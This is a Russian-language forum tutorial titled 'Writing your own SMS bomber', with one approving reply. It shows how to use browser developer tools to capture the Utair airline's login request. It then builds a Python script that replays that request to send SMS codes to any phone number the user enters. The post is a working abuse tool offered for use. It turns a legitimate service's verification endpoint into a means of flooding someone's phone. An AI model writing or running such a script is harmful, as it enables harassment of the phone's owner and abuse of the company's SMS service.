Jump to content
Sign in to follow this  
mr.save

Пишем свой СМС Бомбер

Recommended Posts

image.png.653835037620928b13df784b701d9339.png

Для начала понадобиться IDE, я пишу в sublimeText3, но можно использовать и Online IDE, например ЭТУ

 

Далее нужно импортировать библиотеку для работы с HTTP-запросами, для этого в первой строчке пишем:

import requests

Теперь определимся с сервисом, с которого будем выжимать СМС, для примера я возьму Utair

 

Переходим по ссылке и открываем Developer Tool, нажав Ctrl+Shift+I либо ПКМ -> Inspect Element и переходим во кладку Network. Там мы сможем отслеживать все исходящие запросы, среди которых выберем нужный

 

Теперь в правом верхнем углу находим кнопку 'Войти' , вводим свой номер и жмем на стрелку. Видим сообщение, что такой номер не зарегистрирован. Нажимаем на 'Зарегистрироваться' и опять на стрелку.

b9bae6cf3a9b949d86e22.png.93bbc8fe4eb359d0511a72dc587adfac.png

Во вкладке Network начнут появляться запросы, среди которых нас интересует только один:

1d4357f8f8aea8466ca52.png.14d6cc1e9b279ff17f1f24f7f999d836.png

Нажав на него, справа откроется меню, из которого мы будем брать данные для запроса, a именно из вкладок Headers и Params

d0f347a7527c02e0c7894.png.7e77ec9ec98326551d3c3b584876fe6c.png

И параметры:

6f0df81e69ca71b185b75.png.88f9ef2c51105725691c461cf8c66b84.png

Теперь переходим к коду:

import requests

r = requests.post('https://b.utair.ru/api/v1/login/')


Адрес, на который был отправлен запрос написан сверху правого меню в строке 'Request URL'

Данная строчка кода отправляет POST запрос за указанный адрес. Пока что ничего не произойдет, т.к. в теле запроса ничего не указано. Для начала добавим параметры:

Берем их из вкладки Params (скрин выше). Пишем в кавычках название ключа и через двоеточие его значение, так же в кавычках

import requests


r = requests.post('https://b.utair.ru/api/v1/login/', data = {'login':'ВАШ НОМЕР'})


Переходим к заголовкам. Все переписывать не потребуется, достаточно будет этих:

Accept-Language

Connection

Host

origin

Referer

Их вписываем так же, как и параметры

import requests
r = requests.post('https://b.utair.ru/api/v1/login/', data = {'login':'ВАШ НОМЕР'}, headers = {'Accept-Language':'en-US,en;q=0.5', 'Connection':'keep-alive', 'Host':'b.utair.ru', 'origin':'https://www.utair.ru','Referer':'https://www.utair.ru/'})


Теперь, когда тело запроса заполнено, можно запускать код. Запрос отправиться, но что бы увидеть его результат пишем следующее:

print(r)
#показывает статус-код. Если запрос корректно сформирован и отправлен, должно вывести '<Response [200]>' если выводится другой код, значит, что-то пошло не так, либо какая-то ошибка в коде.
print(r.text) 
#Выводит html код страницы-ответа на наш запрос. Так же полезно, потому что на некоторых сайтах даже если запрос отправлен некорректно, будет выводить код 200, по этой странице точно можно убедиться, что запрос отправлен без проблем или же наоборот - понять, в чем ошибка.


В итоге получаем такой код:

Я его немного доработал. При запуске он будет спрашивать номер по формату, и делать запрос на сайт.

import requests

phone = input('Салам алейкум, введи свой номер (79xxxxxxxxx): ')

r = requests.post('https://b.utair.ru/api/v1/login/',
   data = {'login':phone},
   headers = {
   'Accept-Language':'en-US,en;q=0.5',
   'Connection':'keep-alive',
   'Host':'b.utair.ru',
   'origin':'https://www.utair.ru',
   'Referer':'https://www.utair.ru/'})
print(r)
print(r.text)

 

738aba8b11c7ff85e067e.png

  • Like 1

Share this post


Link to post

Попробовал, прикольная тема)

 

Share this post


Link to post

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

×
×
  • Create New...